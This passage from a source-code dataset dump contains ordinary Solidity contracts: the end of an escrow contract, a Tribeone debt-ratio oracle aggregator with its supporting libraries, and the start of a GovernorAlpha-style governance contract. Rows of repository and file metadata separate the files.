sellers[i] = (buyerDatabase[buyerAddress][startID + i].seller);
escrow_agents[i] = (buyerDatabase[buyerAddress][startID + i].escrow_agent);
amounts[i] = (buyerDatabase[buyerAddress][startID + i].amount);
statuses[i] = checkStatus(buyerAddress, startID + i);
}
return (sellers, escrow_agents, amounts, statuses);
}
function SellerHistory(address inputAddress, uint startID , uint numToLoad) constant returns (address[], address[], uint[], bytes32[]){
address[] memory buyers = new address[](numToLoad);
address[] memory escrows = new address[](numToLoad);
uint[] memory amounts = new uint[](numToLoad);
bytes32[] memory statuses = new bytes32[](numToLoad);
for (uint i = 0; i < numToLoad; i++)
{
if (i >= sellerDatabase[inputAddress].length)
break;
buyers[i] = sellerDatabase[inputAddress][startID + i].buyer;
escrows[i] = buyerDatabase[buyers[i]][sellerDatabase[inputAddress][startID +i].buyer_nounce].escrow_agent;
amounts[i] = buyerDatabase[buyers[i]][sellerDatabase[inputAddress][startID + i].buyer_nounce].amount;
statuses[i] = checkStatus(buyers[i], sellerDatabase[inputAddress][startID + i].buyer_nounce);
}
return (buyers, escrows, amounts, statuses);
}
function escrowHistory(address inputAddress, uint startID, uint numToLoad) constant returns (address[], address[], uint[], bytes32[]){
address[] memory buyers = new address[](numToLoad);
address[] memory sellers = new address[](numToLoad);
uint[] memory amounts = new uint[](numToLoad);
bytes32[] memory statuses = new bytes32[](numToLoad);
for (uint i = 0; i < numToLoad; i++)
{
if (i >= escrowDatabase[inputAddress].length)
break;
buyers[i] = escrowDatabase[inputAddress][startID + i].buyer;
sellers[i] = buyerDatabase[buyers[i]][escrowDatabase[inputAddress][startID +i].buyer_nounce].seller;
amounts[i] = buyerDatabase[buyers[i]][escrowDatabase[inputAddress][startID + i].buyer_nounce].amount;
statuses[i] = checkStatus(buyers[i], escrowDatabase[inputAddress][startID + i].buyer_nounce);
}
return (buyers, sellers, amounts, statuses);
}
function checkStatus(address buyerAddress, uint nounce) constant returns (bytes32){
bytes32 status = "";
if (buyerDatabase[buyerAddress][nounce].release_approval){
status = "Complete";
} else if (buyerDatabase[buyerAddress][nounce].refund_approval){
status = "Refunded";
} else if (buyerDatabase[buyerAddress][nounce].escrow_intervention){
status = "Pending Escrow Decision";
} else
{
status = "In Progress";
}
return (status);
}
//When transaction is complete, buyer will release funds to seller
//Even if EscrowEscalation is raised, buyer can still approve fund release at any time
function buyerFundRelease(uint ID)
{
require(ID < buyerDatabase[msg.sender].length &&
buyerDatabase[msg.sender][ID].release_approval == false &&
buyerDatabase[msg.sender][ID].refund_approval == false);
//Set release approval to true. Ensure approval for each transaction can only be called once.
buyerDatabase[msg.sender][ID].release_approval = true;
address seller = buyerDatabase[msg.sender][ID].seller;
address escrow_agent = buyerDatabase[msg.sender][ID].escrow_agent;
uint amount = buyerDatabase[msg.sender][ID].amount;
uint escrow_fee = buyerDatabase[msg.sender][ID].escrow_fee;
//Move funds under seller's owership
Funds[seller] += amount;
Funds[escrow_agent] += escrow_fee;
}
//Seller can refund the buyer at any time
function sellerRefund(uint ID)
{
address buyerAddress = sellerDatabase[msg.sender][ID].buyer;
uint buyerID = sellerDatabase[msg.sender][ID].buyer_nounce;
require(buyerDatabase[buyerAddress][buyerID].release_approval == false &&
buyerDatabase[buyerAddress][buyerID].refund_approval == false);
address escrow_agent = buyerDatabase[buyerAddress][buyerID].escrow_agent;
uint escrow_fee = buyerDatabase[buyerAddress][buyerID].escrow_fee;
uint amount = buyerDatabase[buyerAddress][buyerID].amount;
//Once approved, buyer can invoke WithdrawFunds to claim his refund
buyerDatabase[buyerAddress][buyerID].refund_approval = true;
Funds[buyerAddress] += amount;
Funds[escrow_agent] += escrow_fee;
}
//Either buyer or seller can raise escalation with escrow agent.
//Switcher = 0 for Buyer, Switcher = 1 for Seller
function EscrowEscalation(uint switcher, uint ID)
{
//To activate EscrowEscalation
//1) Buyer must not have approved fund release.
//2) Seller must not have approved a refund.
//3) EscrowEscalation is being activated for the first time
//There is no difference whether the buyer or seller activates EscrowEscalation.
address buyerAddress;
uint buyerID; //transaction ID of in buyer's history
if (switcher == 0) // Buyer
{
buyerAddress = msg.sender;
buyerID = ID;
} else if (switcher == 1) //Seller
{
buyerAddress = sellerDatabase[msg.sender][ID].buyer;
buyerID = sellerDatabase[msg.sender][ID].buyer_nounce;
}
require(buyerDatabase[buyerAddress][buyerID].escrow_intervention == false &&
buyerDatabase[buyerAddress][buyerID].release_approval == false &&
buyerDatabase[buyerAddress][buyerID].refund_approval == false);
//Activate the ability for Escrow Agent to intervent in this transaction
buyerDatabase[buyerAddress][buyerID].escrow_intervention = true;
}
//ID is the transaction ID from Escrow's history.
//Decision = 0 is for refunding Buyer. Decision = 1 is for releasing funds to Seller
function escrowDecision(uint ID, uint Decision)
{
//Escrow can only make the decision IF
//1) Buyer has not yet approved fund release to seller
//2) Seller has not yet approved a refund to buyer
//3) Escrow Agent has not yet approved fund release to seller AND not approved refund to buyer
//4) Escalation Escalation is activated
address buyerAddress = escrowDatabase[msg.sender][ID].buyer;
uint buyerID = escrowDatabase[msg.sender][ID].buyer_nounce;
require(buyerDatabase[buyerAddress][buyerID].release_approval == false &&
buyerDatabase[buyerAddress][buyerID].escrow_intervention == true &&
buyerDatabase[buyerAddress][buyerID].refund_approval == false);
uint escrow_fee = buyerDatabase[buyerAddress][buyerID].escrow_fee;
uint amount = buyerDatabase[buyerAddress][buyerID].amount;
if (Decision == 0) //Refund Buyer
{
buyerDatabase[buyerAddress][buyerID].refund_approval = true;
Funds[buyerAddress] += amount;
Funds[msg.sender] += escrow_fee;
} else if (Decision == 1) //Release funds to Seller
{
buyerDatabase[buyerAddress][buyerID].release_approval = true;
Funds[buyerDatabase[buyerAddress][buyerID].seller] += amount;
Funds[msg.sender] += escrow_fee;
}
}
function WithdrawFunds()
{
uint amount = Funds[msg.sender];
Funds[msg.sender] = 0;
if (!msg.sender.send(amount))
Funds[msg.sender] = amount;
}
function CheckBalance(address fromAddress) constant returns (uint){
return (Funds[fromAddress]);
}
}
| 139,952 | 13,174 |
ae0394cacfd92e812b7a0340c64d2293302787d38663c270f0c2e3f8604f144d
| 30,492 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/f2/f28f8bD1cbF498bBEcdE15445aC1B64B03Aca376_OneNetAggregatorDebtRatio.sol
| 5,094 | 20,965 |
pragma solidity ^0.5.16;
// https://docs.tribeone.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.tribeone.io/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getTribe(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.tribeone.io/contracts/source/interfaces/itribe
interface ITribe {
// Views
function currencyKey() external view returns (bytes32);
function transferableTribes(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(address from,
address to,
uint value) external returns (bool);
// Restricted: used internally to Tribeone
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.tribeone.io/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function allNetworksDebtInfo()
external
view
returns (uint256 debt,
uint256 sharesSupply,
bool isStale);
function anyTribeOrHAKARateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableTribeCount() external view returns (uint);
function availableTribes(uint index) external view returns (ITribe);
function canBurnTribes(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuableTribes(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuableTribes(address issuer)
external
view
returns (uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt);
function tribes(bytes32 currencyKey) external view returns (ITribe);
function getTribes(bytes32[] calldata currencyKeys) external view returns (ITribe[] memory);
function tribesByAddress(address tribeAddress) external view returns (bytes32);
function totalIssuedTribes(bytes32 currencyKey, bool excludeOtherCollateral) external view returns (uint);
function transferableTribeoneAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
function liquidationAmounts(address account, bool isSelfLiquidation)
external
view
returns (uint totalRedeemed,
uint debtToRemove,
uint escrowToLiquidate,
uint initialDebtBalance);
// Restricted: used internally to Tribeone
function addTribes(ITribe[] calldata tribesToAdd) external;
function issueTribes(address from, uint amount) external;
function issueTribesOnBehalf(address issueFor,
address from,
uint amount) external;
function issueMaxTribes(address from) external;
function issueMaxTribesOnBehalf(address issueFor, address from) external;
function burnTribes(address from, uint amount) external;
function burnTribesOnBehalf(address burnForAddress,
address from,
uint amount) external;
function burnTribesToTarget(address from) external;
function burnTribesToTargetOnBehalf(address burnForAddress, address from) external;
function burnForRedemption(address deprecatedTribeProxy,
address account,
uint balance) external;
function setCurrentPeriodId(uint128 periodId) external;
function liquidateAccount(address account, bool isSelfLiquidation)
external
returns (uint totalRedeemed,
uint debtRemoved,
uint escrowToLiquidate);
function issueTribesWithoutDebt(bytes32 currencyKey,
address to,
uint amount) external returns (bool rateInvalid);
function burnTribesWithoutDebt(bytes32 currencyKey,
address to,
uint amount) external returns (bool rateInvalid);
function modifyDebtSharesForMigration(address account, uint amount) external;
}
// Internal references
// https://docs.tribeone.io/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
event CacheUpdated(bytes32 name, address destination);
}
// Inheritance
// Internal references
// https://docs.tribeone.io/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getTribe(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.tribes(key));
}
event AddressImported(bytes32 name, address destination);
}
interface IDebtCache {
// Views
function cachedDebt() external view returns (uint);
function cachedTribeDebt(bytes32 currencyKey) external view returns (uint);
function cacheTimestamp() external view returns (uint);
function cacheInvalid() external view returns (bool);
function cacheStale() external view returns (bool);
function isInitialized() external view returns (bool);
function currentTribeDebts(bytes32[] calldata currencyKeys)
external
view
returns (uint[] memory debtValues,
uint futuresDebt,
uint excludedDebt,
bool anyRateIsInvalid);
function cachedTribeDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory debtValues);
function totalNonSnxBackedDebt() external view returns (uint excludedDebt, bool isInvalid);
function currentDebt() external view returns (uint debt, bool anyRateIsInvalid);
function cacheInfo()
external
view
returns (uint debt,
uint timestamp,
bool isInvalid,
bool isStale);
function excludedIssuedDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory excludedDebts);
// Mutative functions
function updateCachedTribeDebts(bytes32[] calldata currencyKeys) external;
function updateCachedTribeDebtWithRate(bytes32 currencyKey, uint currencyRate) external;
function updateCachedTribeDebtsWithRates(bytes32[] calldata currencyKeys, uint[] calldata currencyRates) external;
function updateDebtCacheValidity(bool currentlyInvalid) external;
function purgeCachedTribeDebt(bytes32 currencyKey) external;
function takeDebtSnapshot() external;
function recordExcludedDebtChange(bytes32 currencyKey, int256 delta) external;
function updateCachedhUSDDebt(int amount) external;
function importExcludedIssuedDebts(IDebtCache prevDebtCache, IIssuer prevIssuer) external;
}
// https://docs.tribeone.io/contracts/source/interfaces/itribeetixdebtshare
interface ITribeoneDebtShare {
// Views
function currentPeriodId() external view returns (uint128);
function allowance(address account, address spender) external view returns (uint);
function balanceOf(address account) external view returns (uint);
function balanceOfOnPeriod(address account, uint periodId) external view returns (uint);
function totalSupply() external view returns (uint);
function sharePercent(address account) external view returns (uint);
function sharePercentOnPeriod(address account, uint periodId) external view returns (uint);
// Mutative functions
function takeSnapshot(uint128 id) external;
function mintShare(address account, uint256 amount) external;
function burnShare(address account, uint256 amount) external;
function approve(address, uint256) external pure returns (bool);
function transfer(address to, uint256 amount) external pure returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
function addAuthorizedBroker(address target) external;
function removeAuthorizedBroker(address target) external;
function addAuthorizedToSnapshot(address target) external;
function removeAuthorizedToSnapshot(address target) external;
}
//import "@chainlink/contracts-0.0.10/src/v0.5/interfaces/AggregatorV2V3Interface.sol";
interface AggregatorV2V3Interface {
function latestRound() external view returns (uint256);
function decimals() external view returns (uint8);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.tribeone.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10**uint(decimals);
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
function unit() external pure returns (uint) {
return UNIT;
}
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
function signedAbs(int x) internal pure returns (int) {
return x < 0 ? -x : x;
}
function abs(int x) internal pure returns (uint) {
return uint(signedAbs(x));
}
}
//import "@chainlink/contracts-0.0.10/src/v0.5/interfaces/AggregatorV2V3Interface.sol";
// aggregator which reports the data from the system itself
// useful for testing
contract BaseOneNetAggregator is Owned, AggregatorV2V3Interface {
using SafeDecimalMath for uint;
AddressResolver public resolver;
uint public overrideTimestamp;
constructor(AddressResolver _resolver) public Owned(msg.sender) {
resolver = _resolver;
}
function setOverrideTimestamp(uint timestamp) public onlyOwner {
overrideTimestamp = timestamp;
emit SetOverrideTimestamp(timestamp);
}
function latestRoundData()
external
view
returns (uint80,
int256,
uint256,
uint256,
uint80)
{
return getRoundData(uint80(latestRound()));
}
function latestRound() public view returns (uint256) {
return 1;
}
function decimals() external view returns (uint8) {
return 0;
}
function getAnswer(uint256 _roundId) external view returns (int256 answer) {
(, answer, , ,) = getRoundData(uint80(_roundId));
}
function getTimestamp(uint256 _roundId) external view returns (uint256 timestamp) {
(, , timestamp, ,) = getRoundData(uint80(_roundId));
}
function getRoundData(uint80)
public
view
returns (uint80,
int256,
uint256,
uint256,
uint80);
event SetOverrideTimestamp(uint timestamp);
}
contract OneNetAggregatorDebtRatio is BaseOneNetAggregator {
bytes32 public constant CONTRACT_NAME = "OneNetAggregatorDebtRatio";
constructor(AddressResolver _resolver) public BaseOneNetAggregator(_resolver) {}
function getRoundData(uint80)
public
view
returns (uint80,
int256,
uint256,
uint256,
uint80)
{
uint totalIssuedTribes =
IIssuer(resolver.requireAndGetAddress("Issuer", "aggregate debt info")).totalIssuedTribes("hUSD", true);
uint totalDebtShares =
ITribeoneDebtShare(resolver.requireAndGetAddress("TribeoneDebtShare", "aggregate debt info")).totalSupply();
uint result =
totalDebtShares == 0 ? 10**27 : totalIssuedTribes.decimalToPreciseDecimal().divideDecimalRound(totalDebtShares);
uint dataTimestamp = now;
if (overrideTimestamp != 0) {
dataTimestamp = overrideTimestamp;
}
return (1, int256(result), dataTimestamp, dataTimestamp, 1);
}
}
| 54,775 | 13,175 |
30820334952c782836f6fed360a20f45a2d0f953a7a25adadea6e522c9ee84ce
| 15,180 |
.sol
|
Solidity
| false |
361387646
|
Stevewu1234/Defi-Project-test-2
|
344e3c46dacfa9e18444436c186b38891e6adaa6
|
contracts/DAO/Governor.sol
| 3,498 | 14,535 |
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Governor";
function quorumVotes() public pure returns (uint) { return 400000e18; } // 400,000 = 4% of DDT
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 100000e18; } // 100,000 = 1% of DDT
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the DragonDao Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the DragonDao governance token
DDTInterface public DDT;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address ddt_, address guardian_) public {
timelock = TimelockInterface(timelock_);
DDT = DDTInterface(ddt_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(DDT.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || DDT.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = DDT.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
